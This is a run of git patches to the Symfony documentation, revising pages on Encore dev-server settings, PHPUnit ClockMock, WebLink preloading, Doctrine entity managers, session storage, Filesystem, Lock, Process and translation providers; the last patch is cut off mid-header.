Subject: [PATCH 0880/5766] Encore: Update 'Fix "Invalid Host header" Issue'.
 Replace deprecated dev-server option "--disable-host-check" with current
 config.

---
 frontend/encore/virtual-machine.rst | 25 +++++++++++++------------
 1 file changed, 13 insertions(+), 12 deletions(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 40b7ec2d386..23010b9f169 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -96,26 +96,27 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, add the argument ``--disable-host-check``:
+the dev-server. To fix this, set the ``firewall`` option:
 
-.. code-block:: diff
+.. code-block:: javascript
 
-      {
-          ...
-          "scripts": {
-    -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-    +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-              ...
-          }
-      }
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
 .. caution::
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
+    Beware that `it's not recommended to disable the firewall`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck

From 8e162debd32267b43bcd22308cbb95096d0f906c Mon Sep 17 00:00:00 2001
From: Sylvain Fabre <syl.fabre@gmail.com>
Date: Tue, 2 Feb 2021 13:45:55 +0100
Subject: [PATCH 0881/5766] [PHPUnit-Bridge] Troubleshooting

---
 components/phpunit_bridge.rst | 46 ++++++++++++++++++++++++-----------
 1 file changed, 32 insertions(+), 14 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e9b98f7501d..0e594c13853 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -789,24 +789,42 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 Under the hood, a PHPUnit listener injects the mocked functions in the tested
 classes' namespace. In order to work as expected, the listener has to run before
-the tested class ever runs. By default, the mocked functions are created when the
-annotation are found and the corresponding tests are run. Depending on how your
-tests are constructed, this might be too late. In this case, you will need to declare
-the namespaces of the tested classes in your ``phpunit.xml.dist``.
+the tested class ever runs.
+
+By default, the mocked functions are created when the annotation are found and
+the corresponding tests are run. Depending on how your tests are constructed,
+this might be too late.
+
+You can either:
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``.
+* Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <!-- ... -->
-    <listeners>
-        <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
-                <arguments>
-                    <array>
-                        <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
-                    </array>
-                </arguments>
-            </listener>
-    </listeners>
+    <phpunit
+        bootstrap="config/bootstrap.php"
+    >
+        <!-- ... -->
+        <listeners>
+            <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
+                    <arguments>
+                        <array>
+                            <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
+                        </array>
+                    </arguments>
+                </listener>
+        </listeners>
+    </phpunit>
+
+.. code-block:: php
+
+    <!-- config/bootstrap.php -->
+    use Symfony\Bridge\PhpUnit\ClockMock;
+    
+    if ('test' === $_SERVER['APP_ENV']) {
+        ClockMock::register('Acme\\MyClassTest\\');
+    }
 
 Modified PHPUnit script
 -----------------------

From ac90ac85c5ed3a8be3d6be2d24218f883c0e0ba9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 16:25:56 +0200
Subject: [PATCH 0882/5766] Minor tweaks

---
 components/phpunit_bridge.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 0e594c13853..5be489b2fb2 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -796,32 +796,30 @@ the corresponding tests are run. Depending on how your tests are constructed,
 this might be too late.
 
 You can either:
-* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``.
+
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``;
 * Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <phpunit
-        bootstrap="config/bootstrap.php"
-    >
-        <!-- ... -->
-        <listeners>
-            <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
-                    <arguments>
-                        <array>
-                            <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
-                        </array>
-                    </arguments>
-                </listener>
-        </listeners>
-    </phpunit>
+    <!-- ... -->
+    <listeners>
+        <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
+                <arguments>
+                    <array>
+                        <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
+                    </array>
+                </arguments>
+            </listener>
+    </listeners>
 
-.. code-block:: php
+::
 
-    <!-- config/bootstrap.php -->
+    // config/bootstrap.php
     use Symfony\Bridge\PhpUnit\ClockMock;
     
+    // ...
     if ('test' === $_SERVER['APP_ENV']) {
         ClockMock::register('Acme\\MyClassTest\\');
     }

From 43a2d4640db7a0e7ec6178b90f81675c7fa96fc6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 17:55:32 +0200
Subject: [PATCH 0883/5766] [WebLink] Fixed the preload links

---
 web_link.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 1c802a518da..dd8ce736e89 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -62,7 +62,7 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -77,7 +77,7 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="stylesheet" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -87,7 +87,7 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
     </head>
 
 How does it work?
@@ -111,7 +111,7 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 Resource Hints
@@ -145,7 +145,7 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:

From 9a80b1b8126ea0632edcc9e1b652f662e9345d35 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 2 Dec 2020 15:43:38 +0100
Subject: [PATCH 0884/5766] Update multiple_entity_managers.rst

---
 doctrine/multiple_entity_managers.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ba3475dbfbc..5f17e31fd51 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -254,6 +254,17 @@ the default entity manager (i.e. ``default``) is returned::
         }
     }
 
+You can leverage the service binding feature to reference the ``customer``
+entity manager so that you can inject it directly::
+
+    services:
+        _defaults:
+            bind:
+                $customerEntityManager: '@doctrine.orm.customer_entity_manager'
+
+Now type-hint your method with ``EntityManagerInterface $customerEntityManager``
+to inject this second entity manager as dependency.
+
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``
 entity manager to persist and fetch its entities.

From fc9a9c52311af56b9986abf11ccf779d55a1aba5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 May 2021 12:30:14 +0200
Subject: [PATCH 0885/5766] Tweaks

---
 doctrine/multiple_entity_managers.rst | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ddd33845a52..88ca6bebbd2 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -254,16 +254,10 @@ the default entity manager (i.e. ``default``) is returned::
         }
     }
 
-You can leverage the service binding feature to reference the ``customer``
-entity manager so that you can inject it directly::
-
-    services:
-        _defaults:
-            bind:
-                $customerEntityManager: '@doctrine.orm.customer_entity_manager'
-
-Now type-hint your method with ``EntityManagerInterface $customerEntityManager``
-to inject this second entity manager as dependency.
+Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
+when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+example, to inject the ``customer`` entity manager, type-hint your method with
+``EntityManagerInterface $customerEntityManager``.
 
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``

From a899dd70678b3434144389bc36afed2b1ee27dd3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 May 2021 12:57:17 +0200
Subject: [PATCH 0886/5766] Tweaks

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4e235e82de0..0f347ead42e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1041,7 +1041,7 @@ config option.
 verify_host
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers is verified to ensure that
 their common name matches the host included in the URL. This is usually

From 3acf948b3d8a4eb7389a8a055bf6479a964d3755 Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Wed, 26 May 2021 12:19:58 +0100
Subject: [PATCH 0887/5766] Update templates.rst

Update docs to provide info on potential new feature found here: https://github.com/symfony/symfony/pull/41414
---
 templates.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/templates.rst b/templates.rst
index de12df7ba13..8500085356b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -489,6 +489,9 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
+                # the status code to include in the response headers
+                statusCode: 200
+
                 # special options defined by Symfony to set the page cache
                 maxAge:    86400
                 sharedAge: 86400

From 240ed167ff027baad5198df1c116819ee75558fb Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Wed, 26 May 2021 21:27:16 +0200
Subject: [PATCH 0888/5766] [Session] Update configurations

---
 .../http_foundation/session_configuration.rst | 39 +++++++++++++---
 session.rst                                   | 44 +++++++++++++++++++
 session/database.rst                          | 12 ++---
 3 files changed, 83 insertions(+), 12 deletions(-)

diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index c8b29fb00b4..fdaa7ba7eda 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -29,7 +29,7 @@ All native save handlers are internal to PHP and as such, have no public facing
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
 potentially other driver specific directives. Specific details can be found in
 the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`.
+provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
 
 While native save handlers can be activated by directly using
 ``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
@@ -170,12 +170,39 @@ collection. That's why Symfony now overwrites this value to ``1``.
 If you wish to use the original value set in your ``php.ini``, add the following
 configuration:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        session:
-            gc_probability: null
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                gc_probability: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:session gc_probability="null"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'session' => [
+                'gc_probability' => null,
+            ],
+        ]);
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/session.rst b/session.rst
index fb9bb81cd8a..6465cdb3b54 100644
--- a/session.rst
+++ b/session.rst
@@ -186,6 +186,50 @@ the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
+                    <argument type="service" id="session.storage"/>
+                    <argument type="service" id="session.namespacedattributebag"/>
+                    <argument type="service" id="session.flash_bag"/>
+                </service>
+
+                <service id="session.namespacedattributebag"
+                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('session', Session::class)
+                ->public()
+                ->args([
+                    ref('session.storage'),
+                    ref('session.namespacedattributebag'),
+                    ref('session.flash_bag'),
+                ])
+            ;
+
+            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+        };
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/database.rst b/session/database.rst
index 6a69c172c16..8bf72d00768 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -63,8 +63,6 @@ First, define a Symfony service for the connection to the Redis server:
 
     .. code-block:: php
 
-        use Symfony\Component\DependencyInjection\Reference;
-
         // ...
         $container
             // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
@@ -90,7 +88,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
@@ -101,10 +99,11 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
+                    <argument key="ttl">600</argument>
                 </argument> -->
             </service>
         </services>
@@ -112,6 +111,7 @@ and ``RedisProxy``:
     .. code-block:: php
 
         // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -208,7 +208,7 @@ first register a new handler service with your database credentials:
                     <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
                         <argument type="collection">
                             <argument key="db_username">myuser</argument>
                             <argument key="db_password">mypassword</argument>

From a2dd7eeb0f7c273cfff0cb8247e2f5cd5987f46d Mon Sep 17 00:00:00 2001
From: Roman Martinuk <a100000a@yandex.ru>
Date: Thu, 27 May 2021 18:47:28 +0300
Subject: [PATCH 0889/5766] fix readlink description

readlink() for Windows misleading
---
 components/filesystem.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d43632b9de6..0c5b56a66b5 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,10 +214,7 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior
-is completely different under Windows and Unix. On Windows systems, ``readlink()``
-resolves recursively the children links of a link until a final target is found. On
-Unix-based systems ``readlink()`` only resolves the next link.
+PHP's :phpfunction:`readlink` function returns the target of a symbolic link.
 
 The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
 by the Filesystem component always behaves in the same way::

From 2d96ae07b90f8615f2fdac1fbe2e1d27be877a35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Thu, 27 May 2021 20:44:03 +0200
Subject: [PATCH 0890/5766] [Lock] Remove note about sharing the key

---
 components/lock.rst | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4cd5cdb7726..3789cb5d22a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -486,12 +486,7 @@ Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
 the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
-the ``Lock``, therefore this key must not be shared between processes (session,
-caching, fork, ...).
-
-.. caution::
-
-    Do not share a key between processes.
+the ``Lock``.
 
 Every concurrent process must store the ``Lock`` in the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.

From a2de717e9c95bcdd51037b7cb5254bbfd1fe42a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 09:23:09 +0200
Subject: [PATCH 0891/5766] Tweak

---
 components/filesystem.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 0c5b56a66b5..d739526b84f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,10 +214,9 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link.
-
-The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
-by the Filesystem component always behaves in the same way::
+The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method
+provided by the Filesystem component behaves in the same way on all operating
+systems (unlike PHP's :phpfunction:`readlink` function)::
 
     // returns the next direct target of the link without considering the existence of the target
     $filesystem->readlink('/path/to/link');

From c8d56f0c1ec9d8d1bed81e66b15e48013b70ccd5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 09:39:27 +0200
Subject: [PATCH 0892/5766] Tweaks

---
 bundles/best_practices.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 55b9a7edf2c..ba0627ecc21 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -22,10 +22,10 @@ interoperability standard for PHP namespaces and class names: it starts with a
 vendor segment, followed by zero or more category segments, and it ends with the
 namespace short name, which must end with ``Bundle``.
 
-A namespace becomes a bundle as soon as you add a bundle class to it. The
-bundle class name must follow these rules:
+A namespace becomes a bundle as soon as you add "a bundle class" to it (which is
+a class that extends :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`).
+The bundle class name must follow these rules:
 
-* Extend Symfony\Component\HttpKernel\Bundle\Bundle
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
 * Use a descriptive and short name (no more than two words);
@@ -42,6 +42,9 @@ Namespace                   Bundle Class Name
 ``Acme\BlogBundle``         AcmeBlogBundle
 ==========================  ==================
 
+By convention, the ``getName()`` method of the bundle class should return the
+class name.
+
 .. note::
 
     If you share your bundle publicly, you must use the bundle class name as

From 1d71a6ea12976bda911b45e210802098192f8339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 17:17:39 +0200
Subject: [PATCH 0893/5766] [Inflector] Removed the component

---
 _build/redirection_map         |  1 +
 components/inflector.rst       | 12 ------------
 components/property_access.rst |  4 ++--
 3 files changed, 3 insertions(+), 14 deletions(-)
 delete mode 100644 components/inflector.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 1069505a81a..165e1c96132 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -515,3 +515,4 @@
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /security/named_encoders /security/named_hashers
+/components/inflector /components/string#inflector
diff --git a/components/inflector.rst b/components/inflector.rst
deleted file mode 100644
index c42d6ebaeaa..00000000000
--- a/components/inflector.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-.. index::
-   single: Inflector
-   single: Components; Inflector
-
-The Inflector Component
-=======================
-
-.. deprecated:: 5.1
-
-    The Inflector component was deprecated in Symfony 5.1 and its code was moved
-    into the :doc:`String </components/string>` component.
-    :ref:`Read the new Inflector docs <string-inflector>`.
diff --git a/components/property_access.rst b/components/property_access.rst
index 9d3f4e355fc..c8b674293a1 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -400,7 +400,7 @@ The PropertyAccess component checks for methods called ``add<SingularOfTheProper
 and ``remove<SingularOfThePropertyName>()``. Both methods must be defined.
 For instance, in the previous example, the component looks for the ``addChild()``
 and ``removeChild()`` methods to access to the ``children`` property.
-`The Inflector component`_ is used to find the singular of a property name.
+`The String component`_ inflector is used to find the singular of a property name.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
@@ -538,4 +538,4 @@ Or you can pass parameters directly to the constructor (not the recommended way)
     // enable handling of magic __call, __set but not __get:
     $propertyAccessor = new PropertyAccessor(PropertyAccessor::MAGIC_CALL | PropertyAccessor::MAGIC_SET);
 
-.. _The Inflector component: https://github.com/symfony/inflector
+.. _`The String component`: https://github.com/symfony/string

From 5ca0b2497da5a892a7fe9e5e549017f20f611f59 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sat, 29 May 2021 17:34:19 +0200
Subject: [PATCH 0894/5766] [Process] Remove paragraph from bad merge

---
 components/process.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index b0c5bc4c5b6..1182b1c32a1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -418,22 +418,6 @@ instead::
     );
     $process->run();
 
-Using a Prepared Command Line
------------------------------
-
-You can run a process by using a prepared command line with double quote
-variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script::
-
-    use Symfony\Component\Process\Process;
-
-    $process = Process::fromShellCommandline('echo "$name"');
-    $process->run(null, ['name' => 'Elsa']);
-
-.. caution::
-
-    A prepared command line will not be escaped automatically!
-
 Process Timeout
 ---------------
 

From a2635f3aab803456d2dabac4cb4424d5da022cc8 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Sat, 29 May 2021 14:58:46 +0200
Subject: [PATCH 0895/5766] [Translation] Improve Translation Providers docs

---
 translation.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/translation.rst b/translation.rst
index 7ac8f6d05a7..a1cf7d2645e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -713,6 +713,18 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. tip::
+
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
+    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
+    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+
+.. tip::
+
+    If you use PoEditor as provider, you have to define a `Default Reference Language`_ in your project,
+    otherwise your translations could not be correctly exported.
+
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -879,3 +891,5 @@ Learn more
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
+.. _`Default Reference Language`: https://poeditor.com/kb/setting-a-default-reference-language
+.. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes

From ebb40537d46095b058c75bef5fb8fc7158e1c2d4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 29 May 2021 21:38:28 +0200
Subject: [PATCH 0896/5766] Minor rewording

Main reason was to mention `php.ini` earlier.
---
 .../http_foundation/session_configuration.rst     | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index fdaa7ba7eda..41aacae0e46 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -154,17 +154,16 @@ Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
-example if these were set to ``5/100`` respectively, it would mean a probability
-of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
+For example if these were set to ``5/100``, it would mean a probability of 5%.
 
-If the garbage collection handler is invoked, PHP will pass the value stored in
-the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
-that any stored session that was saved more than ``gc_maxlifetime`` ago should be
-deleted. This allows one to expire records based on idle time.
+If the garbage collection handler is invoked, PHP will pass the value of
+``session.gc_maxlifetime``, meaning that any stored session that was saved more
+than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
+based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
 collection. That's why Symfony now overwrites this value to ``1``.
 
 If you wish to use the original value set in your ``php.ini``, add the following

From 181684a7f06689f396ea4571b36474c023689e44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 29 May 2021 23:05:02 +0200
Subject: [PATCH 0897/5766] Adding FQCN

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f347ead42e..4cd6f938166 100644
--- a/reference/configuration/framework.rst
